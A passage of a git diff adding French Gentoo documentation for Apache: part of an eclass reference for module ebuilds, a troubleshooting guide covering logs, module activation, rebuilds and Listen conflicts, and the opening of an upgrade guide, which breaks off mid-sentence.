+    Prend un seul argument optionnel. Si celui-ci est mentionné, la fonction
+    retourne tous les fichiers *.html de <c>${DOCFILES}</c>, autrement il
+    retourne tous les fichiers non-*.html.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_src_compile</c></ti>
+  <ti>
+    Appelle <c>${APXS1}</c> avec les arguments de <c>${APXS1_ARGS}</c>. Si un
+    module requiert une installation différente de construction que celle-ci,
+    utilisez <c>${APXS1}</c> dans votre propre src_compile quotidien.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_src_install</c></ti>
+  <ti>
+    Cette fonction installe le module et configure les fichiers dans le
+    répertoire d'Apache. Elle gère l'installation des modules, leur
+    configuration, les exécutables relatifs et la documentation.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_pkg_postinst</c></ti>
+  <ti>Affiche les messages de configuration standard.</ti>
+</tr>
+<tr>
+  <ti><c>apache2_pkg_setup</c></ti>
+  <ti>
+    Si APACHE2_SAFE_MPMS est paramétré, cette fonction vérifie les MPM
+    installés et affiche une erreur s'il n'y a aucun MPM sûr installé.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache2_src_compile</c></ti>
+  <ti>
+    Appelle <c>${APXS2}</c> avec les arguments de <c>${APXS2_ARGS}</c>. Si un
+    module requiert une installation différente de construction que celle-ci,
+    utilisez <c>${APXS2}</c> dans votre propre src_compile quotidien.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache2_src_install</c></ti>
+  <ti>
+    Cette fonction installe le module et configure les fichiers dans le
+    répertoire d'Apache. Elle gère l'installation des modules, leur
+    configuration, les exécutables relatifs et la documentation.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>apache-module_pkg_setup</c><br />
+    <c>apache-module_src_compile</c><br />
+    <c>apache-module_src_install</c><br />
+    <c>apache-module_pkg_postinst</c>
+  </ti>
+  <ti>
+    Ce sont des fonctions englobantes des fonctions apache1_* or apache2_*.
+    Elles détectent automatiquement la version d'Apache avec lesquelles elles
+    sont construites.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Variables</title>
+<body>
+
+<table>
+<tr>
+  <th>Variable</th>
+  <th>Défaut</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_CONF</c><br />
+    <c>APACHE2_MOD_CONF</c>
+  </ti>
+  <ti>Non</ti>
+  <ti>
+    L'emplacement dans <c>${FILESDIR}</c> de la configuration des modules, sans
+    l'extention .conf.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_DEFINE</c><br />
+    <c>APACHE2_MOD_DEFINE</c>
+  </ti>
+  <ti>Non</ti>
+  <ti>
+    Nom du «&nbsp;define&nbsp;» dans la configuration des modules. Utilisé en
+    affichant un message à l'utilisateur pour l'ajouter à son
+    <path>/etc/conf.d/apache{|2}</path>.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_EXECFILES</c><br />
+    <c>APACHE2_EXECFILES</c>
+  </ti>
+  <ti>Non</ti>
+  <ti>Fichiers exécutables additionnels qui devront être installés.</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_FILE</c><br />
+    <c>APACHE2_MOD_FILE</c>
+  </ti>
+  <ti>
+    ${PN}.so<br />
+    .libs/${PN}.so
+  </ti>
+  <ti>Les modules que <c>src_install</c> installe.</ti>
+</tr>
+<tr>
+  <ti><c>APACHE2_SAFE_MPMS</c></ti>
+  <ti>Non</ti>
+  <ti>
+    Une liste des MPM qui fonctionnent avec ce module. Si ce n'est pas
+    renseigné, alors aucune vérification des MPM ne sera faite. S'il y a des
+    MPM peu sûrs d'installés l'utilisateur est averti. S'il n'y pas de MPM
+    installés, le module refuse de s'installer.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1_S</c><br />
+    <c>APXS2_S</c>
+  </ti>
+  <ti>Non</ti>
+  <ti>
+    Les chemins vers les répertoires de construction temporaires. Retourné par
+    <c>apache_cd_dir</c> si renseigné, sinon il retourne <c>${S}/src</c>
+    (si c'est un répertoire) ou <c>${S}</c> sinon.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1_ARGS</c><br />
+    <c>APXS2_ARGS</c>
+  </ti>
+  <ti>-c ${PN}.c</ti>
+  <ti>Arguments à passer à l'outil apxs.</ti>
+</tr>
+<tr>
+  <ti><c>DOCFILES</c></ti>
+  <ti>Non</ti>
+  <ti>
+    La documentation à installer. Tous les fichiers qui finissent par .html
+    sont installés en utilisant <c>dohtml</c>, les autres sont installés en
+    utilisant <c>dodoc</c>.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="depend-apache">
+<title>Eclass depend.apache</title>
+<section>
+<title>Description</title>
+<body>
+
+<p>
+L'eclass <c>depend.apache</c> règle les localisations par défaut des différents
+chemins d'Apache et gère les paramètres des dépendances sur Apache. En général,
+cette eclass ne devrait pas être utilisée par les modules. Elle devrait
+seulement être employée pour les programmes qui doivent dépendre d'Apache mais
+qui ne sont pas des modules. (Les modules devraient employer l'eclass <uri
+link="#apache-module">apache-module</uri>.)
+</p>
+
+</body>
+</section>
+<section>
+<title>Fonctions</title>
+<body>
+
+<table>
+<tr>
+  <th>Fonction</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>need_apache1</c></ti>
+  <ti>
+    Cette fonction renseigne correctement l'information sur les dépendances
+    pour les paquets qui ne supportent que Apache-1.x. Les paquets qui
+    nécessitent Apache-1.x devront appeler <c>need_apache1</c> dans la portée
+    globale pour placer correctement les dépendances.
+  </ti>
+</tr>
+<tr>
+  <ti><c>need_apache2</c></ti>
+  <ti>
+    Cette fonction renseigne correctement l'information sur les dépendances
+    pour les paquets qui ne supportent que Apache-2.x. Les paquets qui
+    nécessitent Apache-2.x devront appeler <c>need_apache2</c> dans la portée
+    globale pour placer correctement les dépendances.
+  </ti>
+</tr>
+<tr>
+  <ti><c>need_apache</c></ti>
+  <ti>
+    Cette fonction renseigne correctement l'information sur les dépendances
+    basées sur les variables USE actuellement réglées. Les paquets qui peuvent
+    utiliser les deux versions d'Apache devront appeler <c>need_apache</c> dans
+    la portée globale pour placer correctement les dépendances.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Variables</title>
+<body>
+
+<table>
+<tr>
+  <th>Variable</th>
+  <th>Défaut</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>APACHE_VERSION</c></ti>
+  <ti>1</ti>
+  <ti>
+    Paramétré par <c>need_apache</c>, <c>need_apache1</c>, <c>need_apache2</c>.
+    Stocke la version d'apache que nous allons construire.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1</c><br />
+    <c>APXS2</c>
+  </ti>
+  <ti>
+    <path>/usr/sbin/apxs</path><br />
+    <path>/usr/sbin/apxs2</path>
+  </ti>
+  <ti>Chemin vers l'outil apxs</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHECTL1</c><br />
+    <c>APACHECTL2</c>
+  </ti>
+  <ti>
+    <path>/usr/sbin/apachectl</path><br />
+    <path>/usr/sbin/apache2ctl</path>
+  </ti>
+  <ti>Chemin vers l'outil apachectl</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_BASEDIR</c><br />
+    <c>APACHE2_BASEDIR</c>
+  </ti>
+  <ti>
+    <path>/usr/lib/apache</path><br />
+    <path>/usr/lib/apache2</path>
+  </ti>
+  <ti>Le chemin dans lequel le serveur tourne.</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_CONFDIR</c><br />
+    <c>APACHE2_CONFDIR</c>
+  </ti>
+  <ti>
+    <path>/etc/apache</path><br />
+    <path>/etc/apache2</path>
+  </ti>
+  <ti>Localisation du fichier de configuration <path>httpd.conf</path></ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MODULES_CONFDIR</c><br />
+    <c>APACHE2_MODULES_CONFDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_CONFDIR}/modules.d<br />
+    ${APACHE2_CONFDIR}/modules.d
+  </ti>
+  <ti>
+    Emplacement où les modules devront installer leur configuration.
+    Tous les fichiers *.conf dans ce répertoire sont inclus au lancement.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_VHOSTDIR</c><br />
+    <c>APACHE2_VHOSTDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_CONFDIR}/vhosts.d<br />
+    ${APACHE2_CONFDIR}/vhosts.d
+  </ti>
+  <ti>
+    Emplacement où les configurations des hôtes virtuels devront être gardés.
+    Tous les fichiers *.conf dans ce répertoire sont inclus au lancement.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MODULESDIR</c><br />
+    <c>APACHE2_MODULESDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_BASEDIR}/modules<br />
+    ${APACHE2_BASEDIR}/modules
+  </ti>
+  <ti>Emplacement où les modules binaires devront être installés.</ti>
+</tr>
+</table>
+
+<note>
+Toutes les variables devront être considérées en lecture seule et ne devront
+pas être modifiées dans l'ebuild. Cela pourrait produire des résultats
+imprévisibles.
+</note>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/apache/doc/troubleshooting.xml b/xml/htdocs/proj/fr/apache/doc/troubleshooting.xml
new file mode 100644
index 00000000..ab0941b7
--- /dev/null
+++ b/xml/htdocs/proj/fr/apache/doc/troubleshooting.xml
@@ -0,0 +1,472 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/fr/apache/doc/troubleshooting.xml" lang="fr">
+<title>Résolution des problèmes avec Apache</title>
+
+<author title="Auteur">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Contributor">
+  <mail link="beu@gentoo.org">Elfyn McBratney</mail>
+</author>
+<author title="Contributor">
+  <mail link="kloeri@gentoo.org">Bryan Østergaard</mail>
+</author>
+<author title="Contributor">
+  <mail link="hollow@gentoo.org">Benedikt Böhm</mail>
+</author>
+<author title="Traducteur">
+  <mail link="cam@gentoo.org">Camille Huot</mail>
+</author>
+
+<abstract>
+Ce document décrit un certain nombre de moyens de trouver ce qui ne va pas dans
+une installation Apache qui fonctionne mal.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2007-11-29</date>
+
+<chapter>
+<title>Vérification des logs</title>
+<section>
+<body>
+
+<p>
+Si quelque chose cloche avec votre Apache alors que vous n'avez aucune idée de
+ce que ça peut être, vous trouverez certainement des indices dans les fichiers
+de logs (N.D.T.&nbsp;: journaux où est enregistré l'activité de l'application).
+</p>
+
+<p>
+Il y a plusieurs fichiers de logs différents, mais certains d'entre eux peuvent
+ne pas être présents sur votre système selon les modules que vous avez activés.
+En principe, ils se trouvent dans <path>/var/log/apache2/</path>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>access_log et ssl_access_log</title>
+<body>
+
+<pre caption="access_log">
+67.185.0.236 - - [18/Jun/2005:12:05:50 -0700] "GET / HTTP/1.0" 200 721
+10.0.1.80 - - [18/Jun/2005:12:11:07 -0700] "GET /~jaspenelle/__journal1.jpg HTTP/1.1" 200 19079
+66.239.233.163 - - [18/Jun/2005:12:15:06 -0700] "GET /~jaspenelle/avy14.gif HTTP/1.0" 200 1661
+67.185.60.155 - - [18/Jun/2005:12:18:48 -0700] "GET / HTTP/1.0" 200 721
+67.185.0.236 - - [18/Jun/2005:12:25:39 -0700] "GET / HTTP/1.0" 200 721
+10.0.1.80 - - [18/Jun/2005:12:28:04 -0700] "GET /~jaspenelle/avy14.gif HTTP/1.1" 200 1661
+10.0.1.80 - - [18/Jun/2005:12:28:46 -0700] "GET /~jaspenelle/avy7.png HTTP/1.1" 200 13066
+</pre>
+
+<p>
+Ce fichier contient simplement la liste de chaque fichier demandé à votre
+serveur. À moins que vous ayiez changé la configuration par défaut, les lignes
+sont en Common Log Format&nbsp;:
+</p>
+
+<pre caption="Syntaxe du Common Log Format">
+adresseclient rfc931 utilisateur [date] "requête" statut octets
+</pre>
+
+<table>
+<tr>
+  <ti>adresseclient</ti>
+  <ti>Nom d'hôte ou adresse IP du client qui a fait la requête.</ti>
+</tr>
+<tr>
+  <ti>rfc931</ti>
+  <ti>L'identifiant distant du client qui a fait la requête.</ti>
+</tr>
+<tr>
+  <ti>utilisateur</ti>
+  <ti>L'identifiant qu'a donné l'utilisateur pour s'identifier sur la page.</ti>
+</tr>
+<tr>
+  <ti>[date]</ti>
+  <ti>Date et heure de la requête.</ti>
+</tr>
+<tr>
+  <ti>"requête"</ti>
+  <ti>La requête complète telle qu'envoyée par le client.</ti>
+</tr>
+<tr>
+  <ti>statut</ti>
+  <ti>
+    Le code de retour HTTP renvoyé au client pour indiquer le statut de la
+    réponse.
+  </ti>
+</tr>
+<tr>
+  <ti>octets</ti>
+  <ti>
+    La taille du document transféré (en-tête «&nbsp;content-length&nbsp;»).
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>error_log et ssl_error_log</title>
+<body>
+
+<pre caption="error_log">
+[Mon Feb 07 23:33:18 2005] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec2)
+[Mon Feb 07 23:33:18 2005] [notice] Digest: generating secret for digest authentication ...
+[Mon Feb 07 23:33:18 2005] [notice] Digest: done
+[Mon Feb 07 23:33:18 2005] [notice] Apache/2.0.52 (Gentoo/Linux) PHP/4.3.10 configured -- resuming normal operations
+[Sat Jun 18 13:01:54 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:14 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:18 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:21 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:24 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+</pre>
+
+<p>
+Comme vous le voyez, ce fichier peut contenir beaucoup de choses, selon la
+valeur de la directive <c>ErrorLevel</c> dans votre fichier
+<path>httpd.conf</path>. Il vous indique si Apache a démarré correctement,
+quelles sont les erreurs rencontrées... C'est lui qui vous dira si quelque chose
+se passe mal en général. Si quelque chose ne fonctionne pas, il est le premier
+fichier à consulter.
+</p>
+
+</body>
+</section>
+<section>
+<title>suexec_log</title>
+<body>
+
+<pre caption="suexec_log">
+[2005-02-11 22:33:19]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+[2005-03-11 19:20:13]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+[2005-03-11 19:34:47]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+</pre>
+
+<p>
+Ce fichier contient une entrée pour chaque fois qu'un script est lancé en
+utilisant CGI et suexec. Si vous n'arrivez pas à faire fonctionner un script
+avec suexec, ce fichier est celui à consulter car il contiendra en principe une
+ligne indiquant pourquoi il n'a pas pu lancer le script.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>J'ai installé un module Apache, mais il ne marche pas&nbsp;!</title>
+<section>
+<body>
+
+<p>
+Installer le module ne suffit pas, il faut également l'activer. Nous procédons
+ainsi pour pouvoir facilement activer et désactiver les modules
+individuellement, pour les tester un par un en cas de problème afin de trouver
+celui qui cloche.
+</p>
+
+<p>
+Lorsque vous installez un module, il devrait y avoir un message dans ce
+genre&nbsp;:
+</p>
+
+<pre caption="Message post-installation (emerge)">
+ *
+ * To enable mod_layout, you need to edit your /etc/conf.d/apache2 file and
+ * add '-D LAYOUT' to APACHE2_OPTS.
+ *
+ *
+ * Configuration file installed as
+ *     /etc/apache2/modules.d/15_mod_layout.conf
+ * You may want to edit it before turning the module on in /etc/conf.d/apache2
+ *
+</pre>
+
+<p>
+Si vous comprenez un minimum l'anglais, il suffit de faire exactement ce qui est
+indiqué pour activer le module. Pour les autres, il suffit de rajouter <c>-D
+LAYOUT</c> à la variable <c>APACHE2_OPTS</c> qui se trouve dans le fichier
+<path>/etc/conf.d/apache2</path> pour activer mod_layout.
+</p>
+
+<p>
+Si vous avez loupé ce message, il existe un moyen simple de savoir ce qu'il faut
+ajouter à <c>APACHE2_OPTS</c> dans <path>/etc/conf.d/apache2</path>&nbsp;:
+ouvrez le fichier de configuration du module installé par l'ebuild et vous
+verrez quelle variable est testée par <c>IfDefine</c>. Il suffit alors de la
+déclarer dans APACHE2_OPTS. Les fichiers de configuration des modules Apache se
+trouvent dans <path>/etc/apache2/modules.d/</path>.
+</p>
+
+<pre caption="Un extrait de 15_mod_layout.conf">
+&lt;IfDefine LAYOUT&gt;
+  &lt;IfModule !mod_layout.c&gt;
+    LoadModule layout_module    modules/mod_layout.so
+  &lt;/IfModule&gt;
+&lt;/IfDefine&gt;
+</pre>
+
+<p>
+Ce qui se trouve dans le bloc <c>IfDefine</c> est exécuté si vous ajoutez <c>-D
+LAYOUT</c> au fichier <path>/etc/conf.d/apache2</path>. <c>LAYOUT</c> n'est
+qu'un exemple.
+</p>
+
+<p>
+La variable <c>APACHE2_OPTS</c> accepte plusieurs autres options qui sont
+spécifiées dans la configuration par défaut et détaillées dans
+<path>/etc/conf.d/apache2</path>.
+</p>
+
+<p>
+La documentation concernant tous les modules de base se trouve dans la <uri
+link="http://httpd.apache.org/docs/2.0/">documentation Apache 2.0</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Apache renvoie des pages vides, Apache plante</title>
+<section>
+<body>
+
+<p>
+Cela arrive surtout lors des mises à jour car la compatibilité des binaires est
+rompue dans APR (ce qui peut arriver pour un nombre certain de raisons). Pour
+corriger le problème, il faut recompiler Apache et ses outils&nbsp;:
+</p>
+
+<pre caption="Recompiler Apache et ses outils">
+<comment>(Faites tout ceci dans l'ordre, c'est très important !)</comment>
+
+<comment>(D'abord, on supprime l'Apache actuel.)</comment>
+# <i>emerge -aCv '=www-servers/apache-2*'</i>
+
+<comment>(Ensuite, on recompile les outils.)</comment>
+# <i>emerge -av '=dev-libs/apr-0*' '=dev-libs/apr-util-0*'</i>
+
+<comment>(Enfin, on recompile Apache.)</comment>
+# <i>emerge -av '=www-servers/apache-2*'</i>
+
+<comment>(Trouvons maintenant quels paquets dépendent d'Apache.)</comment>
+$ <i>equery depends www-servers/apache</i>
+[ Searching for packages depending on www-servers/apache... ]
+dev-php/phpsysinfo-2.3-r2
+dev-php/phpsysinfo-2.1-r2
+dev-lang/php-5.2.4_p20070914-r2
+net-www/mod_layout-4.0.1a-r1
+www-servers/gorg-0.5
+
+<comment>(Et recompilons tous les modules que nous avions installés.)</comment>
+# <i>emerge -av '=dev-lang/php-5.2.4_p20070914-r2' '=net-www/mod_layout-4.0.1.a-r1'</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Détecter un module bogué</title>
+<body>
+
+<p>
+Si vous rencontrez toujours des problèmes après avoir suivi les instructions
+ci-dessus, le coupable est très certainement un des modules additionnels
+chargé par Apache.
+</p>
+
+<p>
+Commencez par désactiver tous les modules additionnels et redémarrez Apache.
+</p>
+
+<pre caption="Désactiver les modules additionnels">
+<comment>(Dans /etc/conf.d/apache2,)</comment>
+
+<comment>(avant...)</comment>
+APACHE2_OPTS="-D PHP5 -D USERDIR -D SSL"
+
+<comment>(après.)</comment>
+APACHE2_OPTS=""
+</pre>
+
+<pre caption="Redémarrer Apache">
+# <i>/etc/init.d/apache2 stop</i>
+<comment>(Vérifiez qu'Apache est bien arrêté.)</comment>
+# <i>ps -A</i>
+# <i>/etc/init.d/apache2 start</i>
+</pre>
+
+<note>
+Vous devrez peut-être modifier votre configuration d'Apache si vous y avez
+ajouté des <c>Directive</c>s fournies par un de ces modules sans faire de test
+pour savoir si le module était bien chargé. D'une manière générale, il vaut
+mieux placer ces directives dans des blocs qui testent la présence du module en
+mémoire. Vous pouvez vous inspirer des fichiers .conf situés dans le répertoire
+<path>/etc/apache2/modules.d</path> pour des exemples.
+</note>
+
+<p>
+Si Apache arrête enfin de crasher ou de renvoyer des pages blanches, le problème
+venait bien de l'un des modules qui ont été désactivés. Pour trouver duquel cela
+provient, nous allons les réactiver un par un en redémarrant Apache à chaque
+fois.
+</p>
+
+<p>
+Une fois que vous avez trouvé quel module était responsable, une simple
+recompilation du module en question peut résoudre le problème.
+</p>
+
+<p>
+Si Apache ne fonctionne toujours pas correctement une fois que le module a été
+réinstallé, alors <uri link="http://bugs.gentoo.org">ouvrez un bogue</uri> en
+donnant les versions et révisions exactes du module et en précisant exactement
+ce qui ne va pas. Cherchez d'abord si le problème n'aurait pas déjà été
+décrit&nbsp;!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Le serveur n'interprète pas le code PHP ou les scripts CGI et renvoie
+directement le source à la place</title>
+<section>
+<body>
+
+<p>
+Il arrive qu'Apache renvoie le code PHP ou CGI au lieu d'exécuter les scripts et
+de ne renvoyer que le résultat. Si cela arrive même lorsque le module est activé
+dans <path>/etc/conf.d/apache2</path>, il se peut que ce soit un problème de
+cache. Effacer le cache du navigateur web peut résoudre le problème.
+</p>
+
+<p>
+Parfois le problème n'apparaît que si l'on accède au site par son adresse IP au
+lieu de son nom ou vice-versa. Dans ce cas, il s'agit très certainement d'un
+problème de cache.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>configure: error: changes in the environment can compromise the build</title>
+<section>
+<body>
+
+<p>
+Si vous obtenez cette erreur, il se peut que votre variable <c>CFLAGS</c>
+dans <path>/etc/make.conf</path> contienne des espaces en trop. Ceci est simple
+à corriger&nbsp;:
+</p>
+
+<pre caption="Exemple de correction pour /etc/make.conf">
+<comment>(Avant...)</comment>
+CFLAGS="-O2 -mcpu=pentium3 -march=pentium3  -pipe"
+
+<comment>(après. Notez la suppression de l'espace.)</comment>
+CFLAGS="-O2 -mcpu=pentium3 -march=pentium3 -pipe"
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Address already in use: make_sock: could not bind to address
+0.0.0.0:443</title>
+<section>
+<body>
+
+<p>
+Cette erreur apparaît lors du démarrage et provient du fait qu'il y a plusieurs
+directives <c>Listen</c> incompatibles dans la configuration du serveur. Pour
+résoudre ce problème, cherchez toutes les directives <c>Listen</c> et résolvez
+le problème.
+</p>
+
+<pre caption="Trouver toutes les directives Listen">
+<comment>(Placez-vous dans le répertoire de configuration d'Apache...)</comment>
+# <i>cd /etc/apache2/</i>
+
+<comment>(et listez les directives Listen.)</comment>
+# <i>grep Listen httpd.conf vhosts.d/*.conf modules.d/*.conf</i>
+</pre>
+
+<p>
+Il s'agit maintenant de repérer les conflits qu'il pourrait y avoir au niveau
+des ports ouverts par Apache. Par exemple, s'il y a une ligne <c>Listen 80</c>
+dans <path>httpd.conf</path> et une ligne <c>Listen 10.0.0.15:80</c> dans un
+autre fichier, alors Apache ne pourra pas démarrer. Dans ce cas, Apache ouvrira
+le port 80 sur toutes les adresses IP que le serveur possède et essaiera ensuite
+d'ouvrir le port 80 sur l'adresse IP 10.0.0.15, ce qui n'est pas possible
+puisque ce port est déjà ouvert.
+</p>
+
+<p>
+La configuration recommandée est de n'avoir qu'une seule ligne <c>Listen 80</c>
+(c'est la valeur par défaut de <c>httpd.conf</c>) afin d'ouvrir par défaut le
+port HTTP standard sur toutes les adresses IP, puis de rajouter une ligne
+<c>Listen</c> supplémentaire pour chaque <c>VirtualHost</c> SSL en spécifiant
+l'adresse IP (par exemple&nbsp;: <c>Listen 10.0.0.15:443</c>).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Après la mise à jour vers apache-2.0.54-r13, le vhost par défaut (SSL ou
+non-SSL) ne fonctionne plus</title>
+<section>
+<body>
+
+<p>
+À partir de la version apache-2.0.54-r13, deux nouvelles directives ont été
+ajoutées pour fixer le <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=100624">bogue 100624</uri>.
+</p>
+
+<p>
+Les nouvelles directives en question sont&nbsp;: <c>-D DEFAULT_VHOST</c> pour
+activer le vhost par défaut et <c>-D SSL_DEFAULT_VHOST</c> pour activer le vhost
+SSL par défaut. Ces deux directives doivent être ajoutées à la variable
+<c>APACHE2_OPTS</c> du fichier <path>/etc/conf.d/apache2</path> pour être
+activées (ce qui rétablit l'ancien comportement d'Apache).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="getting-help">
+<title>À l'aide...</title>
+<section>
+<body>
+
+<p>
+Si aucune de ces astuces n'a pu résoudre votre problème ou si vous avez d'autres
+questions, passez nous voir sur IRC dans le canal <path>#gentoo-apache</path>
+(on y parle anglais) sur le serveur <path>irc.freenode.net</path>. Vous pouvez
+aussi remplir un ticket de bogue sur le <uri
+link="http://bugs.gentoo.org">Bugzilla de Gentoo</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/fr/apache/doc/upgrading.xml b/xml/htdocs/proj/fr/apache/doc/upgrading.xml
new file mode 100644
index 00000000..41c94416
--- /dev/null
+++ b/xml/htdocs/proj/fr/apache/doc/upgrading.xml
@@ -0,0 +1,811 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header $ -->
+
+<guide link="/proj/fr/apache/doc/upgrading.xml" lang="fr">
+<title>Guide de mise à jour d'Apache</title>
+
+<author title="Auteur">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Correcteur">
+  <mail link="hollow"/>
+</author>
+<author title="Correcteur">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traducteur">
+  <mail link="koppatroopa@yahoo.fr">Bertrand Coppa</mail>
+</author>
+
+<abstract>
+Ce document décrit la procédure à suivre par les utilisateurs pour mettre à
+jour sans risque leur installation Apache.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.8</version>
+<date>2007-12-11</date>
+
+<chapter id="upgrade-2.2.6-r4">
+<title>Mise à jour depuis la version &lt;2.2.6-r4</title>
+<section>
+<body>
+
+<p>
+Les ebuilds Apache ont pendant très longtemps utilisé
+<path>/etc/apache2/apache2-builtin-mods</path> pour sélectionner les modules
+intégrés lors la compilation. Cependant, ce comportement a plusieurs
+désavantages&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Il est impossible de sélectionner les modules intégrés lors de l'emerge
+    initial.
+  </li>
+  <li>
+    Portage ne sait pas quels modules ont été installés. Ceci est
+    particulièrement gênant pour les paquets binaires.
+  </li>
+  <li>
+    Portage essaiera d'écraser <path>apache2-builtin-mods</path> à chaque mise à
+    jour.
+  </li>
+</ul>
+
+<p>
+Afin de rectifier cette situation,
+<path>/etc/apache2/apache2-builtin-mods</path> est devenu désuet et a été
+remplacé par la nouvelle variable <c>USE_EXPAND</c> <c>APACHE2_MODULES</c>. Pour
+convertir votre sélection de modules au nouveau format, utilisez la commande
+suivante&nbsp;:
+</p>
+
+<pre caption="Convertir apache2-builtin-mods en APACHE2_MODULES">
+$ <i>echo APACHE2_MODULES=\"$(sed '/^mod_/s/mod_\(.*\)\s\+\(shared\|static\)/\1/;t n;d;:n' /etc/apache2/apache2-builtin-mods)\" >> /etc/make.conf</i>
+# <i>rm /etc/apache2/apache2-builtin-mods</i>
+
+<comment>(Vous pouvez maintenant mettre à jour Apache en toute sécurité&nbsp;:)</comment>
+# <i>emerge -uva '>=www-servers/apache-2.2.6-r4'</i>
+</pre>
+
+<p>
+En plus de la nouvelle variable <c>APACHE2_MODULES</c>, les options USE locales
+ont été nettoyées&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Toutes les options USE MPM ont été déplacées dans la variable
+    <c>USE_EXPAND</c> <c>APACHE2_MPMS</c>
+  </li>
+  <li><c>no-suexec</c> est maintenant <c>suexec</c></li>
+  <li><c>static-modules</c> est maintenant <c>static</c></li>
+</ul>
+
+<p>
+Pour une description détaillée des anciennes et nouvelles options USE
+correspondantes, lisez <uri link="#use-2.2.6-r4">plus bas</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="upgrade-2.0.52-r3">
+<title>Mise à jour depuis la version &lt;2.0.52-r3</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+La situation d'Apache et de ses modules dans Gentoo devenait vraiment
+insupportable. De nombreux problèmes ont rendu le support et la maintenance très
+difficiles pour l'équipe responsable d'Apache&nbsp;:
+</p>
+
+<ul>
+  <li>
+    La configuration par défaut venant avec Gentoo était vraiment trop
+    différente de la configuration par défaut usuelle à laquelle la plupart des
+    utilisateurs s'attendent.
+  </li>
+  <li>
+    De nombreux modules utilisaient du code similaire, mais tous faisaient les
+    choses à leur manière.
+  </li>
+  <li>
+    La plupart des modules n'étaient pas maintenus correctement - principalement
+    à cause du grand nombre de modules disponibles.
+  </li>
+  <li>Les modules n'avaient pas de standard de configuration.</li>
+  <li>
+    Certains modules fonctionnaient avec les deux versions d'Apache, mais les
+    ebuilds ne savaient pas le gérer.
+  </li>
+  <li>
+    Des options disponibles d'Apache ne l'étaient pas pour les utilisateurs de
+    Gentoo (par exemple les MPM).
+  </li>
+  <li>Les bogues pour Apache s'accumulaient.</li>
+</ul>
+
+<p>
+Ce document détaille comment effectuer la mise à jour sans casser votre système.
+Si vous êtes développeur ou voulez savoir ce que nous avons changé ou comment
